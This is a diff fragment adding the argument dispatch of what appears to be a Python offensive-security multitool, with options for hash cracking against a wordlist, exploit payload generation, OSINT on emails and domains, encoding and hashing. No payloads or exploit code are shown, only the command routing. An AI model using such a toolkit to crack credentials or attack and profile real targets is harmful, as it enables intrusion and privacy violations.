+    elif args.CRACK:
+        if not args.HASH_VALUE or not args.WORDLIST:
+            return print("[!] Need --HASH-VALUE and --WORDLIST")
+        crack_hash(args.HASH_VALUE, args.WORDLIST)
+    elif args.EXPLOIT:
+        generate_payloads()
+    elif args.OSINT:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        if "@" in args.TARGET:
+            osint_email(args.TARGET)
+        else:
+            osint_domain(args.TARGET)
+    elif args.ENCODE:
+        if not args.INPUT: return print("[!] Need --INPUT")
+        encode_text(args.INPUT)
+    elif args.HASH:
+        if not args.INPUT: return print("[!] Need --INPUT")
+        generate_hashes(args.INPUT)
+    elif args.GENERATE:
+        code = generate_code(args.LANGUAGE)
+        print(code)
+    else:
+        parser.print_help()
+
+if __name__ == "__main__":
+    main()